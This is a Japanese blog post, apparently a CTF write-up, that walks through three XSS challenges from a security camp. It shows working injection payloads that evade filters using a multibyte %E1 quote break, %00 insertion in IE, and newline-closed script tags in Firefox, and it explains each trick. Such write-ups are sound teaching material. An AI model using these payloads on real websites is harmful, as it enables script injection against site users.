一度消えたXSSの記事を復活させました。
注意書き
はせがわさんに大まかに教えてもらった上で解いたので、全部自力という訳ではないです><
記事を書いたのは8月19日で、そこから公開をためらっていたのですが、少し需要があるようなので公開します。
以下ネタバレ注意です!
別の解き方があれば教えてください。
セプキャンのCTFで出たXSS問題とは
問題一覧はこちら
セキュリティ&プログラミングキャンプのCTFで出題したXSS問題
答えを得るだけであれば以下のスクリプトだけでよさそうです。
javascript:result('k', (new Date()).getTime()) |
一問目の回答例
動作ブラウザ:だいたいどれでもOK?
20 | <input type="text" id="q" name="q" size="" value="【ここに検索ワード!】" /> |
↓
20 | <input type="text" id="q" name="q" size="" value="【%E1】">【%E1】"<script 【%E1】>(alert)(1);//【%E1】"</script> |
%E1が肝みたいなんだけど、よくわかんないっす。
あとは、「alert(1)」が「ale#t(1)」に変えられるため、「(alert)(1)」にしてエスケープを回避する。
img要素のonloadとかonerrorを使ったり、シングルクオートはエスケープされないことを利用して、「window[’a’+’lert’](1)」にしても通ります。(by Yosuke HASEGAWA)
追記
1は%E1を使ったタグ破壊。 (%E1~%EFあたりを使う)
%E1″>%E1″(alert)(1);//%E1″http://www.akiyan.com/blog/archives/2006/03/xsscssebcss.html
マルチバイト文字列の仕様を突いて半端な文字列を送信しクオート文字を無効化(escape)する
2問目の回答例
ヒントをもらうと一番簡単に終わった問題。
動作ブラウザ:IE
20 | <input type="text" id="q" name="q" size="" value="【ここに検索ワード!】" /> |
↓
20 | <input type="text" id="q" name="q" size="" value=""><script>alert(1)</script>" /> |
アクセスすると、IEで動作する。
文字をいろいろエスケープしてるようなので、%00を文字と文字の間に挟み、エスケープを回避する。
IEだと%00は無視されるので実行される。
3問目の回答例
動作ブラウザ:Firefox
http://utf-8.jp/cgi-bin/xss3/search.cgi?q=%3C%2Fscript%0D%0A%3Cbody%0D%0Aonload%3Dalert%281%29%0D%0A
12 13 14 15 16 17 18 19 20 | <script type="text/javascript"> function setItem() { var key="【ここに検索ワード!】"; document.title = key + " - Spcamp 検索"; $( "#q" ).val( key ); result( "qq", key ); } </script> |
↓
12 13 14 15 16 17 18 19 20 21 22 23 24 | <script type="text/javascript"> function setItem() { var key="</script <body onload=alert(1) "; document.title = key + " - Spcamp 検索"; $( "#q" ).val( key ); result( "qq", key ); } </script> |
アクセスすると、Firefoxで動作する。
「>」「”」がエスケープされているので、一見script要素からの脱出が難しそうに見えるが、Firefoxだと改行することで要素を閉じることができる。
最後にもう一度
他の解き方を募集しています。